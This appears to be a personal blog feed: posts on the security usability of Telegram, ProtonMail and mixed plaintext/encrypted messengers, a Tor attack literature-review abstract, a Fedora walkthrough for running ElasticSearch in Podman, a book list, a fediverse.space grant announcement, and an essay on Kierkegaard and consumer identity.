The anonymity network Tor is vulnerable to end-to-end correlation attacks, and fingerprinting attacks of encrypted traffic are improving. In order to launch these attacks, adversaries may attempt to actively influence routing through the Tor network or compromise relays or Internet infrastructure such that they lie on the path of Tor circuits. This literature review presents an overview of recent work on these attacks, as well as proposed defenses. Through this review, a number of desirable properties for alternative routing algorithms is compiled.

Reasons not to use Telegram

Sat, 06 Jun 2020 00:00:00 GMT

Telegram defaults to unencrypted chats, so your messages are stored in plaintext on their servers. If you don't want them to read your messages, you have to manually enable Secret Chats -- but these don't work for groups and require users to be online at the same time. A 2017 usability study found that many users thought they were using secure, encrypted chats when they were in fact sending all their messages in plaintext.

Perhaps even more concerning is the fact that group chats in Telegram cannot be end-to-end encrypted. Secret chats are reserved for one-on-one communication. Given that large group chats is often cited as one of the key appeals of Telegram, it's surprising that this crucial gotcha is rarely mentioned.

In spite of these issues, Telegram continues to market itself as a secure messenger, causing people to think that their communications are private when they aren't.

When they first launched, Telegram performed the mortal sin of cryptography when they rolled their own encryption scheme, MTProto. They had Maths PhDs create the scheme -- but mathematicians are not cryptographers. A theoretical vulnerability in their scheme was discovered in 2016 (see this PDF), though it has since been fixed. When challenged on their encryption, they issued a nonsensical challenge that showed they do not understand cryptography.

We have far better alternatives: Signal, Wire, and WhatsApp all use the well-tested Signal Protocol for encryption. They don't let users accidentally send plaintext messages. They do vary in terms of metadata protection; Signal does the most in order to prevent storing metadata.

Feel-good security in ProtonMail

Mon, 01 Jun 2020 00:00:00 GMT

ProtonMail is one of the most popular security-focused email providers. Because email is not a particularly secure protocol, things like end-to-end encryption have to be bolted on top. To ensure interoperatiblity, an email provider must be able to send unencrypted messages to recipients who haven't dived into the painful world of PGP.

ProtonMail handles this quite well. Emails are stored encrypted on their servers, and are only decrypted in the client -- this way, ProtonMail isn't able to read any of your stored emails. When sending emails to other ProtonMail users, end-to-end encryption is handled transparently. But there's an important gotcha: in order to send and receive emails from other providers, ProtonMail has to handle the plaintext. Otherwise, the recipient (e.g. on an @gmail.com address) would receive a garbled mess that they had no idea how to decipher. Thus, ProtonMail could theoretically intercept your emails as they enter or leave their servers.

This isn't a problem with ProtonMail's technology; it's a problem with email. Fundamentally, the protocol wasn't built for end-to-end encryption. However, while ProtonMail's handling of this challenge is reasonable, the way they communicate it isn't. Take this text on their front page:

If you like arguing semantics, you might want to say that this is technically true. All emails are secured with end-to-end encryption once they're stored on ProtonMail's server. But this leaves out the pretty important fact that, like any email provider, ProtonMail has the ability to read your emails as they are received or sent (unless the recipient is also a ProtonMail user, or unless you manually set up a secure PGP channel).

Unless you're familar with the technical details of how email and encryption works, ProtonMail's UI is going to make you feel a lot more secure than you really are. Because every email is either end-to-end encrypted with PGP or stored encrypted, the ProtonMail design team decided to throw little padlock indicators on everything:

It's in no way clear from the UI, but the first padlock icon (grey) means that the email was sent in plaintext. It's stored encrypted on ProtonMail's side, but the sender's email provider has full access to the email. The second padlock icon (greyish purple) means that the email was actually end-to-end encrypted. As a user, you'll learn this if you hover over the padlock, but the key gotchas are not mentioned anywhere.

ProtonMail does actually provide the ability to send encrypted emails to other providers if you set a symmetric encryption key. You just have to notice the button with a lock on it and know that you have to manually set it up. Of course, if all you've read is ProtonMail's marketing materials and their UI, you probably won't know that this is necessary to get the advertised security.

I would love to see user studies of ProtonMail's security. If previous work gives us any indication, we can reasonably guess that a large proportion of users will not be aware that e.g. Google can read their emails when they send them to Gmail users. I would also love to be proven wrong on this: if you know of such research, please let me know!

I'm not saying that anyone should stop using ProtonMail. But perhaps we should stop making unrealistic claims about what is possible, security-wise, for a protocol that was developed in the 90s for a very different world. Maybe we should look to more modern protocols for our secure communications needs. At the very least, please stop throwing a padlock icon on everything that has some relation to the abstract concept of "security".

On mixing plaintext and encrypted messages

Thu, 28 May 2020 00:00:00 GMT

Several security-focused messaging apps give users the ability to choose between two modes: unencrypted chats, or end-to-end encrypted ones that might lack certain features. This is an anti-pattern when it comes to usable security, and it brings some risks that are rarely discussed.

There are several different implementations of this mixing and matching of secure and insecure communications. Some chat apps default to unencrypted messages, but allow users to manually enable end-to-end encryption for certain threads. Others automatically start a secure channel if the recipient's client supports the right features -- a type of opportunistic encryption. Examples of the former include Telegram and Facebook Messenger: users must explicitly start a "secret chat" if they want end-to-end encryption. In the other category, you have apps like Delta Chat -- an email-based instant messenger that uses Autocrypt to automate PGP key distribution and message encryption. Even Signal, which is generally celebrated for its strong security, can be used as the default SMS app on Android phones -- allowing it to send plaintext text messages to contacts who don't use Signal. "Secure" email providers like ProtonMail also fall into this category.

This probably doesn't sound so bad. After all, encrypting some messages is better than encrypting none, and users who have high security needs can just enable the encryption features they want, right? Unfortunately, this does not accurately represent how users understand and use secure communication tools.

Communication problems

The core problem is that communicating security features to end users is hard. There are often nuances and conditions that are opaque unless you're a technical user with significant security knowledge. For example: in Delta Chat, messages are only encrypted if the recipient also uses a client with Autocrypt, and messages are never encrypted before you've received a response (with the other party's public key as a header). It's not easy to inform users of these conditions, and the communication difficulties are not unique to Delta Chat: PGP without Autocrypt is famously opaque and difficult to use[^1] and key verification in modern messaging apps is often done incorrectly because users do not understand it[^2].

An obvious solution is to use indicators. Many apps use passive indicators that don't impede the users' actions, but they let them know that some security feature is present or missing. The most common passive indicator is perhaps the lock icon in a browser toolbar indicating a HTTPS connection. However, studies show that thile users do look at passive indicators[^3], they are rarely heeded and do not change user behaviour[^4].

In Delta Chat, encrypted messages have a passive indicator in the form of a small lock icon, but unless you're looking out for it, you won't notice anything unusual about plaintext messages:

If your friend just told you to download a new, secure communication tool, you won't know that you have to look out for the lock icon or that you must enable a specific security feature in the settings. The app might try to tell you these things, but anyone who's ever seen people rapidly click through alerts to get to their goal knows that we can't rely on people reading these in detail. At this point, some might object that it isn't the app developers' fault if users misrepresent its security features. This is true, but when we start implementing things like end-to-end encryption, we should expect this to happen and make sure that the app doesn't let users shoot themselves in the foot in terms of security.

High-risk users need their communications to be encrypted reliably, and expecting people to manually verify security features is unfortunately not very realistic. Telegram is a good example. It markets itself as a secure and private messenger, but defaults to using plaintext chats. In a usability study of Telegram, researchers found that while users felt they were using a secure tool, they were rarely (if ever) using secret chats. Most users did not understand the difference between the default chat mode and secret chats, and less than half used secret chats when asked to send sensitive information[^5].

All messengers that mix insecure and secure modes face the same problem. Their security relies on users understanding quite a few things, for example that a key exchange must happen over the initial messages (Delta Chat), or that messages will only be encrypted if the recipient uses a compatible client (Signal). Based on what we know from the field of usable security, we cannot expect end users to keep these security gotchas in mind. As developers, we should operate under the assumption that any such gotchas will be misunderstood or forgotten by a significant number of users.

Binary thinking

In 2017, The Guardian published an alarmist article claiming that WhatApp's encryption had a backdoor. This was not true -- their article was really about a reasonable tradeoff made by WhatsApp's developers to balance security with usability for its two billion users. Their article was quickly met with an outcry from security professionals. These experts pointed out that The Guardian's flawed reporting had caused WhatsApp to be considered unsafe among some activists and journalists who were instead switching to far less secure alternatives like SMS. The lesson to be learned is that when developing messaging apps, we should strive for security that fits a straightforward mental model: secure or not secure. Of course there are nuances around threat models, but we must have a reasonable security baseline -- which it is impossible to provide if your app falls back to sending unencrypted messages.

There is also non-academic evidence that these are real risks. You'll find posts from users complaining that they unknowingly sent plaintext messages in Delta Chat and Signal. Others point out that email subject lines may leak the contents of otherwise encrypted messages[^6]. A recent article on Delta Chat in a German magazine noted that "of course, all messages are encrypted" before showing a screenshot of an unencrypted chat.

I'm all for raising the overall level of end-to-end encrypted communications on the internet, but we need to make sure that we recommend tools that are appropriate to users' threat models, and that work for non-technical users. Opportunistic and optional encryption are useful for mitigating mass surveillance, but high-risk users must be confident that they won't inadvertently send confidential information over an insecure channel. Opportunistic and optional encryption cannot provide this guarantee.

[^1]: Whitten, Alma, and J. Doug Tygar. "Why Johnny Can't Encrypt: A Usability Evaluation of PGP 5.0." USENIX Security Symposium. Vol. 348. 1999.

[^2]: Schröder, Svenja, et al. "When Signal hits the fan: On the usability and security of state-of-the-art secure mobile messaging." European Workshop on Usable Security. IEEE. 2016.

[^3]: Whalen, Tara, and Kori M. Inkpen. "Gathering evidence: use of visual security cues in web browsers." Proceedings of Graphics Interface 2005. Canadian Human-Computer Communications Society, 2005.

[^4]: Schecter, Stuart, et al. "The emperor’s new security indicators: An evaluation of website authentication and the effect of role playing on usability studies." Proc. IEEE Symposium on Security and Privacy (S&P). 2007. Cited in Whalen, Tara, and Kori M. Inkpen. "Gathering evidence: use of visual security cues in web browsers." Proceedings of Graphics Interface 2005. Canadian Human-Computer Communications Society, 2005.

[^5]: Abu-Salma, Ruba, et al. "The security blanket of the chat world: An analytic evaluation and a user study of telegram." Internet Society, 2017.

[^6]: Any PGP client, no matter how usable and secure, will have to interface with the horrendous PGP ecosystem.

Running ElasticSearch in podman on Fedora 32

Mon, 20 Apr 2020 00:00:00 GMT

Jump the to the tl;dr.

So you just updated to Fedora 32, sat down to work, and realized that Docker wasn't working. Maybe at this point you vaguely remembered hearing about something called CgroupsV2 being a thing in Fedora 32, and maybe also something about Docker not playing nice with CgroupsV2. You kick yourself for a moment but decide that this is a good opportunity to get to grips with Podman. You could just turn off CgroupsV2 but it seems like working with Podman might make your future Fedora life a bit simpler.

Podman is only a quick dnf install away, so you try the relatively straightforward command to run a container: podman run -p "9200:9200" elasticsearch:6.8.8. It looks like it might even work, until...

using discovery type [zen] and host providers [settings]
initialized
starting ...
publish_address {10.0.2.100:9300}, bound_addresses {[::]:9300}
bound or publishing to a non-loopback address, enforcing bootstrap checks
ERROR: [1] bootstrap checks failed
[1]: max file descriptors [1024] for elasticsearch process is too low, increase to at least [65535]
stopping ...
stopped
closing ...
closed

This isn't your first ElasticSearch rodeo so that error about max file descriptors looks familiar. Looks like you just have to bump your ulimit and everything should be fine! You check the soft limit and it is indeed low:

$ ulimit -Sn
1024

So let's increase it. First, increase the system-wide limit for open file descriptors. Open /etc/sysctl.conf and add the line

fs.file-max=131070

Easy enough. We also need to increase the per-user limit, so we open /etc/security/limits.conf and add

tao soft nofile 65535
tao hard nofile 131070

Cool! The internet gurus tell you that this is all you need to do, so you log out and back in but...

$ ulimit -Sn
1024

It didn't work. Some more DuckDuckGo-ing suggests appending to /etc/pam.d/login:

session required pam_limits.so

PAMs are slightly out of your wheelhouse but you read some docs and things seem to make sense. Alas, neither logging out and in nor rebooting seems to make all the necessary changes take effect. You ask around in some IRC rooms and Fedora forums but with no luck. It looks like you aren't the only one who's had this problem. It's a good thing that you're working from home today because you are looking increasingly frazzled.

Eventually you find out that the limits are in fact being applied, just not to the graphical login. Opening a shell and suing to your own account reveals the ulimit you'd expect. Someone on Stack Exchange tells you that this is because gnome-terminal is started by systemd, which does not read from limits.conf. The final step is to write to both /etc/systemd/user.conf and /etc/systemd/system.conf and append

DefaultLimitNOFILE=131070

or whatever your soft and hard limit should be, respectively.

You reboot a final time and, ta-da:

$ ulimit -Sn
65535

You excitedly start the ElasticSearch container again, but max file descriptors [1024] for elasticsearch process is too low, increase to at least [65535] rears its ugly head once again. A final search tells you that you have to run

podman run --ulimit=host -p "9200:9200" elasticsearch:6.8.8

You have never been this relieved to see an ElasticSearch container start up.

TL;DR

Append /etc/systemd/user.conf and /etc/systemd/system.conf with your soft and hard limit, respectively:

DefaultLimitNOFILE=131070

Then append the following to /etc/security/limits.conf:

tao soft nofile 65535
tao hard nofile 131070

Reboot. Then you can run podman run --ulimit=host -p "9200:9200" elasticsearch:6.8.8.

Books I enjoyed in 2019

Tue, 31 Dec 2019 00:00:00 GMT

I'm not one of those people who constantly has their head buried in a book -- one of those at heightened risk of falling down a manhole because they are reading while walking instead of looking in front of them. A part of the reason is that I tend to gravitate towards denser books -- the type of book that feels Important, and that might prompt impressed nods when I bring it up to my philosopher friends. This is a bad habit. It means that I just end up doing something else that isn't reading. One of my resolutions for the new year is to read for enjoyment rather than for some imagined book CV. In that spirit, I wanted to write up a list of some of the reads I enjoyed the most this year.

Consider the Lobster by David Foster Wallace

There's a kindness that permeates all of DFW's writing and this essay collection is no exception.

Rosewater by Tade Thompson

Really good African sci-fi. The sequel is just as good as the this first book, and as I'm writing this I'm realizing that the trilogy's finale was published a few months ago!

The Dispossessed by Ursula K. Le Guin

I continued my mid-year sci-fi streak with this classic, and it didn't disappoint. This is one of those books that you want to lend to all your friends the moment you've finished it.

October by China Miéville

I've never read a history book as gripping as this one. Miéville tells the story of the 1917 October revolution in an almost cinematic way. A friend once described this book as "god-tier" and he wasn't wrong.

The Wretched of the Earth by Frantz Fanon

This is the book that challenged (and taught) me the most. I read it with a reading group and I'm glad -- every chapter prompted a lot of discussion, and I would not have gotten as much out of it without others.

fediverse.space awarded NGI Zero grant

Thu, 22 Aug 2019 00:00:00 GMT

My project fediverse.space is an interactive map of the fediverse. The fediverse, or "federated universe", is the set of social media servers, hosted by individuals across the globe, forming a libre and more democratic alternative to traditional social media.

I'm proud to say that this project was recently awarded a grant from the NGI Zero Discovery project. NGI Zero Discovery, funded by the European Commission, works towards creating an open, trustworthy, and reliable internet for all by funding R&D projects that improve search and discovery:

Search should not be a gatekeeper, a black box or a privacy nightmare. If the internet is the equivalent of a global brain, we need creativity and diversity in the pathways across that brain to unlock its true potential. Search and discovery are basic human needs for humans of all ages, and we would like to put powerful new technology in the hands of future generations as building blocks for a fair and democratic society and an open economy that benefits all.

Thanks to this funding, I have been able to spend this summer bringing fediverse.space to its full potential. The initial proof-of-concept has been rewritten to be far more reliable, performant, and extendable. In addition, it now supports far more of the server implementations seen across the fediverse. There's still more to come -- follow the project on Mastodon to stay up-to-date!

Self and Lack Thereof: On Kierkegaard and Capitalism

Wed, 31 Aug 2016 00:00:00 GMT

In the age of social media, identity is becoming increasingly fluid and fragmented: with greater access to information comes more exposure to new perspectives and personalities, and for every side of our selves, there is a channel to express it and an audience at the ready. This explosion of identities fits neatly into the logic of consumer capitalism: more identities means more markets. Thus, identity fluidity – a concept that has liberatory potential – ends up reinforcing existing capitalist structures. Søren Kierkegaard, as one of the early experts on identity, presents a useful lens to explore this contradiction.

Crop Rotation

Kierkegaard explored the idea of an ever-changing personality both explicitly and implicitly. It is notoriously difficult to find a consistent self or author behind his works as his use of pseudonyms and irony often obscures his point of view. In Either/Or, behind the pseudonyms of A and B, he argues for the merits of the aesthetic and ethical lifestyles, respectively. In one chapter, Crop Rotation, the aesthete A works from the axiom that all people are “tedious.” A argues against the maxim that idleness is the root of all evil – in fact, idleness can be a marvelous thing! Instead, it is tedium that makes people wicked and therefore attempts to overcome it are only natural. His solution is “crop rotation”: continually changing one’s experience of the world by taking on new subjectivities.

One must also continually vary oneself; this is the secret. For this, it is necessary to have control over one's moods. In the sense of being able to generate them at will, this is an impossibility, but wisdom learns to utilize the moment. […] One must know how a mood affects oneself and is likely to affect others before taking it on.

In other words, tedium (and thus evil) is combated by continually changing one's self and one's moods. This is not a straightforward task: the ability to change one’s subjective experience requires a meta-awareness of, and ironic distance to, life. Once there is irony, it becomes difficult to place anything A writes – for any given passage, the reader cannot be confident that A would sincerely endorse it, and it is even less clear whether Kierkegaard would. In this way, just a bit of ironic distance can give the subject a high degree of freedom – if you know that they do not mean what they are saying, there is the potential for them to mean anything! A's lack of commitment to having a self, to making choices, and to ethics means that his potential is almost infinite. By committing, he would have “everything to lose, nothing to gain.” However, this freedom is of a negative form: it is freedom from meaning and from the limitations that come with a singular, consistent self, but it is not a freedom to do anything.

Youth & normcore

Identities are becoming more fluid and fit less into the stereotypical molds that we were once used to. A culture where irony is everywhere, coupled with easy access to thousands of communities online, has made it possible for the Internet generation to explore many different subcultures and their corresponding identities in a short amount of time. A good example of this was normcore. Today's consumers want to experience all the different (and quite possibly inconsistent) sides to their identity (particularly through their consumer choices, but not exclusively so). The marketing company that coined the term described normcore as:

the freedom to be with anyone. […] Normcore moves away from a coolness that relies on difference to a post-authenticity coolness that opts in to sameness. […] Your consumer choices aren’t irrelevant, they’re just temporary. People compromise, people are inconsistent. Making one choice today and a conflicting choice tomorrow doesn’t make you a hypocrite. It just makes you complex.

The contemporary consumer's goal is to be able to fit in whether she is chanting with hooligans at a football match, listening to a lecture on gender studies, or going to a rave on a Monday night. It is not just the freedom to choose a superficial persona, but the freedom to try out the different underlying identity. Crucially, having these multiple identities means that the subject no longer belongs to just one group of consumers. Normcore causes market growth by breaking down the distinctions between markets – suddenly, the football fans are buying punk clothes, and the punks are buying football tickets. Normcore fuels capitalism by encouraging consumption of an even wider range of products.

BuzzFeed is one of the most apt embodiments of normcore. The driving factor behind BuzzFeed's success is its habit of publishing posts that appeal to ultra-specific parts of visitors' personalities. On any given day, the front page displays posts such as "16 Things Only Competitive People In A Relationship Can Relate To", "24 Things That Close All-Girl Friend Groups Understand" and "17 Hard Truths About Growing Up Vegetarian": readers have to relate to many different identities in a short amount of time. Before he founded BuzzFeed, Jonah Peretti critiqued this phenomenon in a 1996 paper titled Capitalism and Schizophrenia. His paper describes the process of identity formation that has made the site so popular and shows how this is both necessary for, and a result of, advanced capitalism.

Identity under capitalism

Peretti makes a Lacanian interpretation of these identity formations. In particular, he looks at the mirror stage of a child’s development – the stage at which an infant, before she has developed a unified ego, begins to notice her reflection and identify herself with it. Before this (which occurs at roughly six months of age) the infant will not recognize the reflection as being of herself. The mirror reflection shows a complete, consistent body that is different from the child's turbulent and fragmented experience of reality thus far. The reflection represents the “Ideal-I” that the child will spend the rest of her life trying to attain (though this is an impossible quest). When the infant first recognizes herself and her “Ideal-I,” a desire for the Other is born that did not exist before. It is because she lacks this idealized self that she desires it. Mirror stage identification does not require a literal reflection in a mirror – it can also occur when the infant sees another child, for instance. Nor is this form of identification unique to infants. It is the same process that makes us identify with the main character in a film or book.

At this point, it has become a cliché to say that an advertisement does not sell a product; it sells a lifestyle – though it might be more accurate to say that it sells an identity. For an ad to be effective, the subject has to identify with it (in the Lacanian, mirror-stage sense). We buy Nike shoes not because they are the best running shoes, but because the runner in the ad induces an ego formation in us that makes the shoes vital to our self-perception as active, sporty individuals. We are faced with hundreds of these identifications in a single day on TV, the internet, newspapers, magazines, posters, and so on. We form identifications with the characters in our favorite TV show, with the supermodels on the subway advertisements, and with the musician on Spotify. The critical thing to note is not necessarily the content of these images, but the fact that the rate at which we assume identities is increasing, and that we are assuming them with greater efficiency. Many of these identifications encourage us to buy a product by inducing a sense of lack and coupled with the increasing ease of spending money (such as credit cards and online shopping), global consumption is increasing rapidly. In this way, these extremely rapid Lacanian identifications fuel consumer capitalism: The increasingly rapid rate at which images are distributed and consumed in late capitalism necessitates a corresponding increase in the rate that individuals assume and shed identities. Because advertisements link identity with the need to purchase products, the acceleration of visual culture promotes the hyper-consumption associated with late capitalism.

The ease with which we form these egos means that they are not very deeply seated – they fade away fast to make room for the next identification. When there are too many mirror-stage identifications, the effect is that of two mirrors facing each other: an infinite number of selves are created, continuing into the fading horizon. They are far from sophisticated and encourage breadth of experience rather than depth. This is notably similar to the criticism that Kierkegaard’s pseudonym B directs at A in the second part of Either/Or.

Before B’s criticisms become relevant, we need to establish how A's texts relate to these mirror-stage identifications. A's crop rotation is done to fight tedium: for excitement. In contrast, the Lacanian “crop rotation” that Peretti discusses is not necessarily a conscious process. It is something that we do automatically when faced with a dissonant host of images in media and advertising. When it is conscious (as it is in normcore), fighting boredom is only one of the reasons behind it – the other is a rejection of cultural pressure to be a unique, yet predictable, individual. Normcore does have one thing in common with A: the dismissal of a search for authenticity, which in both cases is seen as limiting. A does not explicitly advocate the kind of rapid identity assumption seen in Peretti's paper – he does not go quite that far – but it is probable that he would be sympathetic to the goals of normcore. Normcore takes the vast set of images and identities created by capitalism and embraces them all, without committing to any single one of them. A's philosophy will appeal to the normcore millennial because the normcore millennial is already living it in its most extreme form. Because this rapid and superficial identity assumption is in some ways reminiscent of A's texts, we can look to the second half of Either/Or as well as other texts by Kierkegaard for a more in-depth understanding.

Kierkegaardian perspectives

In Either/Or, the ethicist B is confident that A's aesthetic life is spiritually void:

Can you imagine anything more terrifying than seeing your being dissolved into a multiplicity, than seeing yourself truly become many, becoming a miserable, demonic legion, and thus losing the innermost, holiest in a person, the binding force of the personality?

B’s ultimate aim is authenticity through a consistent identity, doing one's duty, and making choices that are compatible with one's ethical code. It is not possible to be genuinely oneself without embracing the deepest identity hiding beneath the multiple ironic personas, and embracing this identity means allowing ethical considerations into one's life. This advice will not do much for the millennial since the imagery of consumer capitalism generates identity assumptions that are instant, automatic and unnoticed – the average consumer today would reject B’s advice on the grounds that they do not need it, that they are obviously only one person. Even in the case of normcore, where the multiplicity is intentional, the advice does not have much of an impact: normcore was articulated as an alternative to the struggle for authenticity, which it sees as continuing indefinitely without ever reaching its goal. A different approach is found later in B’s half of Either/Or:

He now discovers that the 'Self' he chooses has an infinite multiplicity within it because it has a history, a history in which he acknowledges the identity in himself. This history is of an unusual kind because in this history he stands in relation to other individuals in his lineage and to the lineage itself, and this history includes pain, yet he is only the one he is by this history.

Appealing to the multiplicity within a consistent self is more likely to get a positive response from the normcore millennial. B presents a singular yet multifaceted view of the self that does not limit identity to just a series of temporary personas (an either/or) but instead allows an individual to explore the various sides to her true self (a both/and). A profound sense of this self could mean that the subject can resist the mirror-stage identifications asked of them by advertisements and other media. If not, perhaps it could allow them to withstand at least the desire for consumption created by the ads.